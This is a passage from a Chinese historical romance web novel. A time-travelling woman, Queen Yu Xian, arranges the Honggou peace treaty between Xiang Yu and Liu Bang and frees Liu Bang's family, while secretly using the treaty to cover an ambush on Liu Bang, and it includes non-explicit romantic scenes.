虞苋翻了小山堆高的竹简之后,突然怔住了,忍不住道:“竹简用于办公,的确不够方便,要不要提前将纸造出来?” 此时项羽从外面走进来,见她皱着眉头嘟嘟囔囔,询问:“你在说什么呢?” 虞苋回神:“没说什么啊。” 项羽走上前,拿掉她手上的竹简,提醒道:“夜深了,晚上看书对眼睛不好。” 好嘛好嘛。 别看她在旁人面前一副规矩的样子,在项羽面前,她便不装成熟稳重睿智了,立即蹦了起来,脆生生道:“那睡觉?” 项羽:“……” 他双手抱胸:“听说今天你见了吕雉?” 虞苋抿嘴一笑:“什么都瞒不住大王,没错,她来求见我,我便见了她。” 项羽询问:“你回来之后,很多人都想见你,其余人你都没见,为何只见她一人?” 他道:“她有什么值得你特殊对待?” “有啊。”虞苋往后退了一步,说了一句大实话,“大王不是猜到了,在我所知的历史中,你会死的,如今与大王争夺天下的,不就是刘邦此人,你若是死了,天下将会是谁的,显而易见。” 项羽:“……” 她见项羽脸上青黑,又默默说了一句:“我只是将自己知道的事情说出来,大王你可别生气,我真不是在咒你死。” 项羽抬眸:“你离我这么远作甚,难道我会因为你的几句话,就生你的气?” 虞苋又往后挪了一步,肩膀缩了缩,就像是寻求母鸡庇佑的小鸡崽,怂得很:“呃,可是你的脸色很黑,明明就是,就是生气了。” 项羽朝着女郎逼近,将人逼到了墙角,他伸手按住了她的肩膀:“别动。” “嗯?” 他笑了:“小虞,你怕我死了。” 虞苋将脸撇去一旁:“我才没有怕呢。” 项羽轻笑道:“嘴硬。” 他道:“放心好了,我若是失败了,会安排好你的去处,不会让你陪我一起去死。” 女郎冷哼:“不稀罕。” 她说完,回神,疑惑道:“对了,你不好奇吕雉来找我是为了什么吗?” 项羽接话,反问:“为了什么?” 虞苋说:“她想让我放了她。” 第88章 第88章“我才喝一口!”…… 项羽“哦”了一声,耷眼看她:“你是怎么说的?” 虞苋眼睛圆溜溜在转:“我跟她说,我可以帮忙求情,不保证能成。” “还答应了。” “对呢。” 她说起了正事,倒是没有半点心虚了,上前挽着项羽的手臂,拉着他一起席地而坐,说道:“是我想让她离开。” 依旧还是冬日,天气还是冷的,殿中放了炭火,多了些热源。 外面忽然刮起了风,吹了进来,带了沁人的凉意。 女郎的手冰冷,说话间,偷偷将小手钻入对方的衣襟中,闷声闷气的说道:“大王,是不是有很多人,都在想办法说服你放沛公的亲眷离开?” 项羽没理她作乱的小手,想到一些人,冷笑了下:“你又知道了。” 虞苋嘟囔:“我当然知道。” 明明楚汉争霸,是项氏和刘氏两家在争霸,可偏偏项羽的族人,却并非都是一心向着他,甚至不吝啬对刘邦释放好意。 比如说……项伯! 项羽说:“没错,叔父一直在游说我,只是我没想到,你刚回来,他们便找上了你。” 历史上,项伯就曾促使刘邦和项羽议和,吕雉才回到了刘邦身边,不过,最后议和只是一场骗局。 既然如此…… 虞苋说:“大王不如放他们走吧。” 项羽垂眸看她,见女郎眼中认真,不像是说说而已,便道:“好。” 很干脆的答应了。 见他如此的干脆,女郎反而愣住了,别人五年没办成的事情,自己一句话,对方就真的答应放人? 她心里很乱,有点飘忽,甚至感觉到不切实际。 虞苋忍不住道:“你竟然答应了,不问问原因吗?” 项羽的脸依旧冷峻,眉眼都没有变,说道:“如你所言,大家都想让他们离开,便让他们与亲人团聚,我也算做了一回好事。” 虞苋:“那,就这么说定了,此事交给我来办,可好?” 项羽颔首:“可。” 不过这件事她并不着急,她准备先向项伯透露出风声,毕竟待在楚营的不仅有吕雉,还有刘太公。 放人可以,刘邦必须出血。 未来发生的一切,对于知道历史结果的人而言,更加的残酷,虞苋想要活命,或者活的时间更久,就不会允许自己心软。 而在汉地,营帐中,刘邦得知了失踪的虞苋回来的消息,有些惊讶。 听说当初项羽因为她的失踪,差点发狂,他还以为人已经死了。 上次他就差点栽在她手里,若是此人没死,怕是对他不妙。 刘邦叫来萧何和张良,将密信递给他们:“失踪的虞后回来了,此人心机深重,又曾是韩信旧主,怕是不好对付。” 萧何与韩信的关系非比寻常,倒是猜到几分韩信对虞苋的感情,心中亦有些不妙。 张良沉吟道:“再心机深沉之人,都会有弱点,她难对付的不是心机,而是笼络百姓的手段。” 刘邦道:“我曾与项羽结拜为兄弟,以我对他的了解,他最不会动父亲和夫人,可是虞后可就不好说,得尽快想办法将人救出来。” 他还不知道吕雉去找了虞苋。 在刘邦看来,项羽的政治嗅觉不够敏锐,对人不够心狠,而虞苋不一样,他不知道为何,总觉得她身上很违和,恐会坏了他的大计。 对于虞苋,三人商议了许久,最后决定,先去试探韩信的口风。 如今,刘邦和韩信,只是盟友,刘邦怕韩信会因为情情爱爱,倒戈虞苋。 当然,当事人并不知道,虞苋正有条不紊的处理自己要做的事情的。 她除了将造纸的方法交给下面的人去研究之外,她还唤来织女,让她们试着将收上来的棉花做成像蚕丝一样的线,如此便能将棉花做成 衣裳。 只可惜,棉花是外来物,在本土很难存活,收成并不多,暂时想要普及到民间,不太容易。 不过棉花种子已经到了中原,只要众人能清楚棉花的用处,自会一代人一代人的研究,生长在华夏土地上的百姓,最不缺的就是时间。 是她没有那么多的时间。 于是时间又过去了半月,立春将至,天气依旧还有些寒冷,外面枯枝却已经发了新芽。 虞苋揉了揉酸胀的太阳穴,发觉时间过得很快,又有些馋酒了,正想让人将酒拿来,恍然想起自己的酒品,犹豫了片刻,觉得还是喝点吧。 她刚起身,看见项羽从外面走进来,立即坐下,笑了一下:“大王,你来了。” 项羽皱眉,心虚什么? 平日他出现,她可都是上来迎接,不对劲。 不过即便项羽心中疑惑,到底没有说什么,见她没有主动,他反而自然的坐到了女郎的对面,说道:“听说叔父来找过你。” “有的有的。” 虞苋看着项羽的脸色,他明明知道项伯是胳膊肘往外拐,为何还要由着呢? 她继续说道:“叔父来试探我对刘公与吕夫人的看法,以及想从我口中,打探大王对于此事的态度。” 关于刘太公和吕雉的事情,对于虞苋来说都只是小事,是杀是放,急的人是旁人可不是她。 鱼饵已经抛出去,就看鱼什么时候能上钩。 不过是心理战。 闻言项羽不动声色,拿起一旁的水杯给自己倒了杯水,垂眸,没有再说话。 虞苋眨眼:“你不生气?” 项羽道:“他毕竟是我叔父。” 连自己身边的人,都背叛自己,想想就挺难受的。 虞苋才不相信他如表面一样无所谓,挪到他身边,双手抱住了项羽的脖子,小声道:“放心好了,不管将来会发生什么,我都不会再离开你的。” 项羽:“……知道了。” 虞苋表了忠心,嘴巴抿紧,想了想又继续说道:“对了,大王,最近,你可有颁布禁酒令?” 闻言,项羽倒是知道了,刚刚这人在他出现的时候,眼神为何会如此心虚。 又馋酒了。 他捏着她的后颈,低头嗅了嗅,只闻到了女子身上的香气,没有酒气。 还行,没有喝完了才来问人,有进步。 虞苋见项羽不说话,心中一紧,赶紧改口:“我就问问,我没打算喝酒。” 项羽轻笑:“想喝就喝吧。” 咦? 他说:“军中禁酒,在王宫不禁。” 虞苋眼睛一亮,可是刚刚才说自己没打算喝酒,现在就反悔,是不是不太好? 项羽唤来人,让人上酒。 酒上来之后,倒不是烈酒,而是果酒,甜的,不醉人。 虞苋闷闷不乐:“我又不是喝不了酒,不想喝果酒,能不能拿烈酒来?” 项羽:“不能。” 她睫毛一颤,正要撒娇,对方却已经看破她的动作,轻哼一声,提醒她道:“小虞,你是不是忘记了自己喝酒后的样子?” 完啦。 那些时候的确是在他身上干了不少的坏事,是她不好,现在项羽提及此事,莫非要翻旧账? 咳咳,不行。 认怂吧。 虞苋努嘴,不甘不愿地拿起果酒,违心道:“果酒甜滋滋的,我觉得我喝果酒正好,合我的口味。” 项羽看着她心虚的样子,嘴角微勾,伸手捏了捏她脸颊的肉膘。 虞苋思绪还停留着当初发酒疯的事情上,正心虚着,被捏脸了也不敢说什么,默默地低头,往后退。 见状,项羽眼睛微眯,身上透出威势。 女郎浑身一僵,抿了一口果酒,赶紧凑过去假笑。 项羽挑眉。 虞苋仰视着男人,看着他英俊硬朗的脸,呼吸一窒,眼睛都看直了。 斯哈斯哈。 她又往前凑了凑,询问:“大王,你要陪我喝一点吗?” 项羽垂眸:“不喝。” 她“哦”了一声,上前捧着对方的脸,对准薄淡的唇,亲了上去。 舔了舔嘴唇,撬开了嘴巴。 很主动。 项羽眸光微闪,捏着她的腰,却感觉她身上没几两肉,只是口中有女郎香甜的气息,他顺势环住对方的腰,将人往怀中拢了拢,另一只抬起她的下巴,加深了这个吻。 时间好像在此刻停止。 虞苋的心跳得很快,被亲得脸红,炙热的怀抱让人眷念,可不知为何,心中却藏着一抹阴霾。 是她先挑拨的,项羽食髓知味,可不会简单的放过她。 见她喘着气,直接将人捞起,抱上榻上。 他说:“我看你还是别喝酒了。” 女郎眨眼,脱口而出:“刚刚你不是说给我喝的吗?我才喝一口!我要喝酒。” 项羽屈膝压着她的腰,手按着她的肩膀,居高临下的打量着眼前的女人。 如此的赏心悦目,让人舍不得放手。 他吩咐:“张嘴。” 虞苋闻言懵懵地,没有反应,项羽也不着急,淡定地看着她。 两人对视,虞苋最先败下阵来,老老实实的张嘴。 下一刻。 项羽倾身上来,捏着她软乎乎的脸,吻落下。 深吻。 他勾着她的舌头吮吸,拿着她不知所措的手放在肩膀,按揉着她紧绷的脊背,如同一座小山,将人紧紧包裹住,严丝合缝,占为己有。 虞苋被亲得出了汗,浑身都是细细密密的汗,水浸湿了贴身的衣裳。 她很难受,又很喜欢。 爱一个人,做着亲密的事情,会很喜欢,想要更多再多一点,完全不会、不想矜持,只希望就这样一直一直,一直到天荒地老。 就这样的便很好。 第89章 第89章“你真没有事情瞒着我了…… 项伯对于刘太公和吕雉之事,比虞苋想象中的还要上心。 她正在喝茶,便听到宫人来报:“王后,项伯来了。” 项羽尊他是长辈,虞苋自然不能怠慢,将他给请了进来。 寒暄了几句,项伯便提及:“听闻你答应了吕夫人,会为刘公和她求情,不知如今进展如何?” 果然。 虞苋假装为难的叹了一口气,说道:“我已经跟大王提及过此事,只是他们毕竟是沛公的亲眷,至少沛公要拿出些诚意来,项王许是才会松口。” 项伯是个人精,听她这么一说,就知道有戏。 只是吧。 说要拿出诚意的是羽儿的意思,还是她的意思,就值得深究了。 沛公刚在彭城吃了败仗,此时势弱,自不能跟项羽硬碰硬。 前些日子,张良传来密信,请他周旋议和之事,最好能救回刘公和吕夫人,如此,楚汉之间也能暂时免于战事。 项伯道:“若是沛公愿意议和呢?” 议和? 虞苋闻言微笑:“叔父怎知沛公想要议和?” 项伯一噎,想了想,直言道:“我与张良有旧,不是什么秘密,他曾写信与我,请我周旋议和之事。” 虞苋道:“原来如此。” 项伯继续说道:“当初羽儿曾与沛公结为兄弟,大家都是楚人,暴秦已灭了数年,还在连年内战,我实在是看不得百姓再受战乱流离之苦,议和若能成,百姓才能安稳过日子。” “话是这么说。”她手交叉放在腹部,抬头质问项伯,“沛公真愿意议和?还是以议和之事,来换回刘公和吕夫人,拖延时间?” 她不等项伯开口,又继续说道:“当初沛公在鸿门赴宴,口口声声说,不敢与大王为敌,他可有做到?不过是看在大王仁义,对他尚有兄弟情义,才一次一次诓骗人!” 项伯脸色瞬间青黑。 虞苋又一笑,缓声道:“叔父莫气,是晚辈对与沛公数次言而无信,心生恼恨罢了,至于议和,再说。” 她道:“如想要换回刘公和吕夫人,还是请叔父转告张良,再想想用什么来换吧。” 项伯见虞苋面上笑着,话语也是和风细雨的,偏偏身上的气势不减,带着看透一切的冷。 如果。 如果她是男子,天下多少人愿意归顺于她,或许她会成为天下之主。 有虞苋在,与羽儿联手,汉王还会是对手吗? 他起身,不敢只将她当成一个晚辈,她毕竟是王后,君臣有别,便稽首道:“我会转告子房的,告辞。” 见项伯起身,虞苋立即跟着站了起来,微微一笑:“叔父,我送你吧。” 项伯冷硬道:“不用。” 他说不用,虞苋便止住了脚步。 等项伯走远了,她重新坐下,拿起案几上的竹简继续看,并未被项伯的前来影响心情。 当日还发生了一件事。 与刘邦等人担忧的一样,韩信叫人给虞苋送了密信,想要与她见上的一面,同样是商议议和之事。 都来议和? 虞苋将信丢在案几上,宫人给她倒了杯茶,她淡定吩咐道:“请黎将军来见我。” “喏。” 她有一件事不明白,历史上韩信是因为被萧何推举给了刘邦,这匹千里马才会被伯乐赏识,可据她所知,如今韩信和刘邦只是盟友,韩信是如何发家的。 不久,黎晟来了。 虞苋免了黎晟行礼,让她坐在了自己对面,向她询问自己的疑惑。 闻言,黎晟回答:“王后,您曾为韩信旧主,当年你失踪,他与项王打赌赢了之后,便带着当时跟随他的手下离开了,大概有一万众。” 也就是说最开始,竟然是她自己,给他提供了原始股。 虞苋抿嘴:“他现在占据淮阴,手下有多少兵,你可知道?” 黎晟道:“据属下所知,目前韩信手下有二十万大军。” “……” 她默然。 如果刘邦和项羽联盟,的确难办,现在最有效的办法,便是瓦解刘邦与韩信的联盟。 项羽之勇,千古无二。 可是韩信的脑子,太过于弯弯绕绕了,实在是让人看不透想法,历史上项羽就没有斗过他。 虞苋说道:“你觉得他,野心大吗?” 黎晟:“什么?” 她叹了一口气,这算什么问题,韩信的野心不大,历史上也不会叫刘邦给他封齐王了,王侯将相宁有种乎,谁不想当当这天下第一人。 虞苋瞥了眼案几上的信。 韩信希望议和,到底有几分真,又有几分假,谋取天下少不了阴谋诡计,而他不缺计谋。 他又同时与刘邦提及议和之事,其中总透露着古怪。 她信不过。 虞苋说道:“今日项伯来提及刘公和吕夫人之事,我没有松口,他若是与你打听我的态度,就提示他,我意在熊心。” 黎晟疑惑:“熊心?” “没错。”她点头,“当年我在长江被大王所救之时,人人视我为孤女,当成大王身边一个小小的侍妾,甚至有权贵夫人看我碍眼想要除掉我,此事你也是知道的。” 黎晟:“知道。” 当年虞后去赴吕夫人的宴席,在莲池遭人截杀,她也是亲历者。 虞苋继续说道:“当初我位卑言轻,熊心认我为阿姊,不管他当初缘由为何,我与他姊弟一场,又如何忍心他在刘邦手下受苦,既然刘邦想要回自己的亲眷,我向他讨回自家弟弟,合乎情理。” 黎晟听懂了她得言下之意:“明白了。” 虞苋说:“如此议和可成。” 黎晟:“喏。” 等人走之后,虞苋看着外面的天色,雾蒙蒙的,就像是遮上了一层阴霾,有种风雨欲来的紧迫感。 她深吸了一口气,拿起身旁的剑,挑起剑花,打了一套剑法之后收势,额头上已经出了汗。 心中郁气始终难以消化。 虞苋想了想,拿起韩信的密信,到前殿去找项羽。 项羽刚刚结束与臣子的朝会,见她脸上红润,摆着一张气鼓鼓的小脸走来,挑眉询问:“谁给你气受了?” 他抬手,殿内的人识趣退下。 虞苋在项羽面前站定,说道:“我跟你说一件事,你不要生气。” 项羽:“什么事情会惹我生气。” 他倒是想听一听了。 女郎微眯着眼睛,看了一眼人,又看了一眼信,努嘴道:“就是,就是,韩信给我送了一封信。” 说过不会对项羽再有隐瞒,对于此事,她便果真老老实实地跟他汇报。 项羽垂眸:“他信中写了什么?跟你诉相思之苦?” 咦? 吃醋了。 虞苋故意逗他:“信我已经拿来了,你要看吗?” 项羽双手抱胸,眼神睥睨,无比自信道:“我不在乎。” “哦。”她咧嘴一笑,“那我走了。” 虞苋刚转身,项羽就揪住她后领,她回头,看见他冷着一张脸,就不说话,执拗的拉着她不给走。 她解释:“不是你想的那样,是正经事,他想通过我,与大王议和。” 项羽伸手。 虞苋识趣的将信交给他:“她与刘邦两人为何在同一时间选择议和呢?感觉不太对劲。” 项羽道:“刘邦和韩信组成了联盟,两人都想议和,倒也不是凑巧。” 虞苋:“或许。” 项羽将信看完,询问她:“此事你怎么看?” “既然议和,双方的诚意都要有,我要熊心。” “为何?” “阿离差点害我没命,她已经死了,幕后指使者却还在活着,我不能让他逍遥法外。”这女人在项羽面前,又跟黎晟面前说的不一致了。 项羽一眼就看出她在说谎,眼睛一眯,冷哼道:“说实话。” 她努嘴:“真是实话。” 还倒打一耙:“你不信我?” 项羽捏着她的脸,见她眼睛瞪圆,不甘不愿地收手:“嗯,信。” 敷衍得很。 他道:“所以你想议和?” 虞苋点头:“对。”掷地有声,丝毫不心虚。 项羽心中有自己的考量,伐不臣,固然维护统治,若是持续战乱,民生的确伤不起。 他道:“亚父一直不同意议和,你能说服他?” 虞苋:“他会同意的。” 项羽挑眉:“如此笃定。” “当然。”她心虚低头,“他会的。” 项羽说:“你能说服他,那便由着你。” “我现在就去找亚父。”亚父就是范增。 五年了,不知道项羽和范增的关系,是否如历史般,被人挑拨了呢? 断档的数年时间,所有的一切都变了,却又好像什么都没变。 “等一等。”项羽叫住了她。 虞苋刚走了两步,闻言回头,一脸奇怪:“怎么了?” 他上前,淡淡询问:“你真没有事情瞒着我了吗?” 虞苋皱着鼻子,正要开口反驳。 他又转身,不再看她:“你去吧。” 虞苋站定在项羽的身后,看着他宽阔的背影,突然觉得脚步沉重。 她眨了眨眼睛,舔了舔干燥的嘴唇,说道:“那我走了。” 走出前殿,女郎的睫毛上沾了一点白霜,转瞬间就消失了。 虞苋没有回头,叫人唤来轿撵,往范增住处而去。 议和? 不可能议和的。 历史上,刘邦在议和一事上再次坑骗了项羽,损了名声,如今便让她来做背信弃义之人。 成与不成,后果都由她担好了。 当日,虞苋与范增在亭中聊了两个时辰,外面下起了小雨,天色将暗,她才离开。 过了两日,范增在朝会上,主动提及了刘邦有意议和之事。 朝会结束,项伯便飞鸽穿书,将此事告知刘邦。 刘邦收到信之后,立即召集手下商议了一夜,便派出使臣前往咸阳商议和谈具体细节。 而前来的使臣,是张良。 韩信亦派人前来议和。 等商议好和谈的具体细节以及定好议和地点后,三方掌权人便会在约定地点交换信物,达成约定。 这件事由虞苋主导。 议和之事消息透露之后,百姓哗然,他们大多是期待能够议和成功,如此便能免受战乱之苦。 打了那么多年,无休止的战争,楚国百姓已经过够了戎马生涯。 青山处处埋忠骨,埋得是他们的父 母兄弟,到了春天,草木生生不息,那是亲人们的血肉铸成。 和谈细节,最终在二月底敲定,地点还是定在了鸿沟。 当日,是个雷雨天,兆头不好。 第90章 第90章“不必在等,行动吧。”…… 不管议和之事,究竟有多曲折,事情似乎是在往好的方向发展。 至于。 谁在心怀鬼胎,只有天知道。 天气雾蒙蒙的,下着小雨,远远看去,草色青葱,倘若没有战乱,定然会是一个丰年。 虞苋站在屋檐下,伸手出去,冰凉的雨水滴在手心。 侍女禀告:“王后,吕夫人来了。” 虞苋转身,吕雉朝着她行礼,她便也回了一礼:“还有一日便要到鸿沟了,天气阴雨绵绵,倒是有离别之意。” 她道:“等明日之后,或许我与夫人,便无缘再见。” 吕雉闻言看着外面的天气,始终觉得不安,她已经成为阶下囚五年了,明日真的可以回去了吗? 不管心中如何激动,她面上都能沉得住气,说道:“楚汉若能和谈,于百姓,是幸事。” 虞苋点头:“对啊,诸侯王混战了几百年,六国归于秦,不过十几年,诸侯并起,百姓又何时能过上安稳的日子,楚汉休战,才能让这这片土地得以休息。” 世人常说江山社稷,可什么是江山,什么是社稷,又有几人能看的明白。 江山是这片土地,社稷是这土地的生灵。 战争对于一部分人而言,不过是往上爬的踏板,而对于世间生灵来说,是无休止的灾难。 战乱不止,社稷不在。 吕雉是因战乱流离,被项羽所俘虏的,从刘邦起义开始,这数年间,她的人生也算跌宕起伏。 成为阶下囚,忍辱负重,同样激起了她对权力的欲望。 人只有站在高处,才能掌控自己的性命。 她垂眸奉承道:“虞后说得是。” 虞苋道:“吕夫人,不用如此敷衍我,你的身份本就不低于我,若非是被大王抓了,你才是汉地最尊贵的女人。” 才是? 吕雉一愣。 明明对方没有提过其他人的名字,她还是不由想起了张良带给她的消息,想到了那个戚姓女人。 她从刘邦微末之时陪他起家,可对方却在功成名就之时,将富贵给了别的女人,对她,甚至对他的自己的父亲,都不闻不问。 冷血薄凉。 这些年,时间早就磨掉了一个女人期许,若非是他的父亲也在项羽手下,或许他绝不会以议和换他们回去,她将彻底沦为弃子。 可她不能怨不能恨。 吕雉早就想好了回去要走的路,她的目标将是权力,而非去指责一个薄凉的男人。 她说:“我出生微末,尊不尊贵的,我没感受过,只想与我的孩子团聚。” 虞苋已经让人摆好了宴席,闲聊了几句,便邀请她入席而坐。 她道:“夫人,明日事杂,今日设宴相送,希望未来,你繁花似锦。” 吕雉看着眼前之人的笑颜,从初识到现在,对方依旧难以让人看透。 或许很多年后,她会再回想起今日之景,恍然的发现女子此言,是对她最美好的祝愿。 宴席结束后,吕雉微醺回房。 她看着大雨落下,心上始终悬着,还有半日时间,希望不会有什么意外。 虞苋送走吕雉之后,静静地站在亭中,外面下着大雨,水带起的泥水溅到了身上,她也并未在意。 黎晟撑着伞走来:“王后,事情已经安排下去了,此事真不告诉王上吗?” “不必。”她道,“亚父那边多加留意,莫要出现差池。” 黎晟:“喏。” 大雨在一直下,下得让人心烦。 虞苋走到房门口,刚打开门,便见到昏暗的房间里,项羽抬头与她对视。 她心一紧。 项羽询问:“去哪里了?” 虞苋淡定走到男人面前坐下,理直气壮道:“吕夫人明日就要走,设宴给她送别,说说话,我以为你知道呢。” 项羽道:“就没说别的了?” 她摇头:“没有别的了。” 项羽深深地看了女郎一眼,见她脸上跟没事人一样,就像上次她准备离开时,看上去也是如此的若无其事。 平日里做点事情都会心虚得不行,偏偏每次要干大事的时候,是一点都让人看不出来。 虞苋被他的眼神看得发毛:“你这么看着我做什么?” 项羽伸出手,捏了捏她的脸颊,凑上去闻了闻:“喝酒了?” 虞苋装傻:“啊?什么?你说什么?没听清。” 他冷哼,不说话。 女郎感觉周围的空气有些冷,皱眉,没好气的说道:“我说了呀,我设宴给吕夫人送别,自然是喝了点酒,真不多,就喝了一点点。” 她问:“你要喝酒吗?” 项羽:“不喝。” 虞苋直起身体,身子往前凑,亲到了狗男人的薄唇上,一触即离:“我这次没醉。” 对方拆穿她:“我看你就从没醉过,就是借醉酒,方便你做事找借口。” 虞苋:“不是,我没有,你怎么把我想得那么坏。” 外面还在下雨,雨哗啦啦的响,房间里却突然噤声了。 她被人捞在怀中。 女郎立即主动跨坐在男人的腿上,仰头与对方对视。 狗男人按头亲她的嘴巴,双手揉着她的脊背,全身被坚硬火热的臂膀包裹,好像是泡在汤池之中的,脑袋都要被亲迷糊了。 项羽捏着她的下巴,啃噬她的耳垂和脖子,语气含糊:“小虞,你真没有什么事情瞒着我了吗?” 虞苋浑身被桎梏住,微微能喘一口气,神色迷离地反问道:“没有啊,你怎么又这么问?” 她说完,不知道是哪一句刺激到了这个狗男人,对方亲吻更加的热烈。 被亲得手软、腿软,浑身都软。 “是么?”项羽冷哼,“你就嘴硬。” 虞苋眨了眨眼睛,抱着他的肩膀,声音软绵:“你才知道啊。” 项羽拿她没有办法,埋头在女郎肩窝,深吸了一口气,终究没有戳破她。 翌日。 下了一晚上的雨,早上辰时却停了,日头挂在天上,万里无云。 外面石板还湿漉漉的,路边杂草的叶脉上,细小的水珠在上面停留,被春风一吹,叶子摇摆,水珠就滚了下去。 灵秀的江山,如画的江山。 三军立于鸿沟,众人骑马隔江相忘。 南飞的燕子略过,从高处往下看,密密麻麻都是人。 很震撼。 虞苋骑马在项羽身侧,身边还有刘太公和吕雉。 张良、萧何、项伯、范增等人,坐船到了湖面中央,再次商议停战细节。 而刘邦身侧,是韩信和熊心。 议和的内容,是分割国土范围,停战的具体细节,以及对政权的肯定。 这些早已经同过双方的朝臣商议过,前来鸿沟面谈,一是为了显得正式,二是为了交换国书。 时间一点点过去,天上的日头越大,江面上波光粼粼,照得人心头直烦躁。 吕雉目光落在了河岸的刘邦身上,手心不忍不住出了冷汗。 刘太公见状安抚道:“放心,回去之后,谁也动摇不了你的地位,不要听那些小人的谗言,你才是我儿的正妻。” 吕雉道:“父亲,我不是担心此事。” 她收回目光,看向了虞苋,眼神多了些复杂。 刘太公随着儿媳的目光看去,不由手抖的捋了捋下巴的胡须。 这位虞后,是个变数。 此时不仅是吕雉和刘太公,很多人的目光都落在了虞苋的身上。 她失踪了五年,回来便重启了当年被搁置的议和之事,甚至能说服了当初阻止议和的范增,手段如何不算了得。 韩信骑在马上,目光亦落在了虞苋的身上,见她目光看了过来,一时不知道该怎么反应。 自从她离开淮阴,他已经很久没见过她。 原本得知对方没有去寻找项羽,他心里还有些庆幸,以为她对于对方也没有了感情。 没想到项羽还是寻到了她。 他心绪复杂。 而另一边,熊心抱着胸,瞥了一眼韩信,嗤笑道:“原来你喜欢她。” 韩信冷着一张脸:“不管你的事,你有这个闲工夫,不如想一想待会落在项王手中,你该怎么活命。” 彼时,少年已经长成了青年,身上依旧喜欢穿着一身红衣,江边的风很大,将他身上的衣袍吹得猎猎作响。 他俊 美的脸上,表情无所谓:“在谁的手上,不都是死,不过是早死晚死。” 韩信没在接话。 熊心说完,目光移向了河对岸的女郎身上,眼睛微微眯起。 他对于虞苋的感情,很复杂,当年认她做阿姊,是存着利用的,奈何她过于美丽,心底便生出了某些妄想。 啧。 这个女人究竟让多少男人为她心生妄念。 不过。 熊心手捂着最嘴边,压下了嗓子的痒意,等议和结束之后,他也活不了多久了。 虞苋自然也看见韩信和熊心,对于她而言,两人都曾在她穿越的生涯中经过,留下了不少的印象。 其他的什么,是没有的。 此时势弱的非她,而是旁人,即便鸿沟气氛压抑,虞苋倒是什么感觉都没有。 她站在项羽身边,看着船上之人商议过后,写好了国书,又重新坐船回到岸上,将国书呈上给项羽。 项羽看了之后,递给了她,询问:“看看还有何疏漏。” 虞苋瞥了一眼,没多看,笑着说道:“大王若是觉得没问题便行。” 项羽颔首:“行。” 连看都不看,样子都不做一下。 他在国书上签字,落下印章,交给了身边的项伯:“还请叔父,转交汉王。” 项伯双手接过:“喏。” 刘邦亦在国书上签字落章,看着对岸的父亲和妻子,说道:“如今,项王总该放过我的亲眷了吧。” 他曾与项羽一起并肩作战,对于他的性子是了解的,太过重情义,若非他刻意放水,自己早死在他手里了。 韩信提醒道:“汉王还需小心虞后使诈。” 不过他们的担心是多余的,相互交换国书之后,虞苋亲自将刘太公和吕雉送上船。 刘邦亦让人将熊心送到了她的手上。 一切都很顺利。 所有预想的意外都没有发生,看上去鸿沟议和是成功的。 让人不禁自问,是不是对于此事太过紧张,才会以为一向以民生为主的虞后,会在此事上横生枝节。 而虞苋依旧淡定。 议和结束之后,众人离开,熊心被项羽派人看管。 另一边,刘邦看着被关押五年的父亲和妻子,面上十分愧疚:“让你们受苦了。” 刘太公拍拍儿子的肩膀,面上带着舒朗的笑:“不管别人说什么,我知道,当时你有自己的苦衷。” 他倒是没在提及,当初项王要烹煮他时,对儿子破口大骂之事。 吕雉是一个聪明的女人,刘邦今非昔比,在他面前诉苦则惹人不快,若是假装体谅他,才能激起男人的愧疚。 丈夫好不容易爬上了高位,她可不会为了儿女之情,而放弃即将得到的身份权势。 男人。 呵。 吕雉面上不显,朝着刘邦行礼,温柔地道:“夫君,我们能理解你,好在如今,我们终于能团聚了,一起都过去了。” 刘邦闻言,不由看向自己的老妻,看着她憔悴的面容,还强忍着安抚他,心中果真生出了愧疚。 正这时,张良前来:“沛公,不是叙旧的时候,先回去,免得生出意外。” 刘邦:“对对,先回去。” 说来倒是离奇,白天是个晴日,夜色将暗时,又下起了雨,淅淅沥沥的下着。 春雷炸响。 刘邦身上穿着蓑衣,身下骑着马,浑身被突然而来的雷声惊住,勒住马绳让马停了下来。 不对劲。 他立即叫来樊哙,吩咐道:“你先带着阿翁和夫人先走。” 樊哙道:“喏。” 刘太公见众人停了下来,从马车探出头,疑惑道:“怎么停下来了?” 刘邦转身,随口安抚道:“没事,下雨路上有落石,清理落石就能走了。” 刘太公问:“真没事?” “没事。” 闻言他又回到了马车里,车内颠簸得厉害,刚还说路上有落石,下一刻,马车竟跑得飞快。 闪电划破天穹,照亮了天地一瞬。 虞苋撑着伞,站在山顶上,能看见远处蠕动的队伍。 黎晟走到她身后,禀告道:“王后,刘邦让樊哙带着刘公和吕雉先离开了。” 她的声音很淡,“知道了,不必再等,行动吧。” 黎晟稽首:“喏。” 落石和万箭已经准备好,此次她亲自来,看看汉天子的命,究竟有多硬。 若他还能活…… 虞苋看着雨幕,面上十分的冷漠。 一个熟悉的声音从后面传来:“难怪你能说服亚父,议和是假,你要的是刘邦的命。” 是项羽。 90-96 第91章 第91章“只要你死了,一切都会…… 风吹来,有点冷。 虞苋转身,歪头看他:“你怎么来了?” 两人之间,隔了数米距离,在雨幕对视。 项羽穿着一身黑衣,拿着剑双手抱胸,没有打伞,浑身被雨淋得湿透,头上在滴水,脸上全是水痕,看上去赶来得很匆忙。 他反问:“你说呢?我为什么会来?刘邦是什么样的人啊,他能成为汉王绝非常人,你有没有想过若是今日杀不了他,破坏议和的罪名落在你身上,你会有什么样的名声?” “我知道。”虞苋很淡定,收伞,任由雨水淋在身上,“大王,我比任何人都知道,刘邦有多厉害。” “那你还?” “为了活命!” 刘邦对于项羽来说,算是一个出尔反尔的小人,可有如此多的人追寻他,人格魅力无需质疑。 若非立场不同…… 她不会三番两次下杀手。 项羽原本气她做事之前瞒着他,见她身上的衣裳被雨淋湿,贴在单薄的身上,便忍住了苛责,上前拿过她手上的伞打开。 他说:“你回去。” 虞苋不吭声。 “议和之事,是众望所归,破坏盟约的罪责,不应该你来承担。” “我不回去。”虞苋将伞打掉,“你每一次有机会杀他,都将他给放了,你不会杀他的。” 伞落在地上,在泥水里滚了滚。 雨下得很大,变成了瓢泼大雨,闪电划破天穹,随着一声惊雷,与此同时,“轰隆隆”的巨大响声炸开,地动山摇。 山上的落石落下,往峡沟里砸,一声声惨叫声,在山谷中回响,又被落石的声音掩盖。 对于刘邦的围剿开始了。 覆水难收。 项羽伸出手掌挑起女郎的下巴,捏着她的脸左右打量,见她眼睛睁得很大,就是不敢看人,都要被她气笑了。 “小虞,我本以为,你是要故意隐瞒此事,仔细想想,你早就知道瞒不住我,此举不过是逼我出手杀了他,对吗?” “不是。” “又撒谎。” 虞苋吸了吸鼻子,固执的不再说话。 项羽手指摩擦她的唇瓣,女郎的脸很小,下巴尖细,浑身没有几两肉,弱小得能一手掌控。 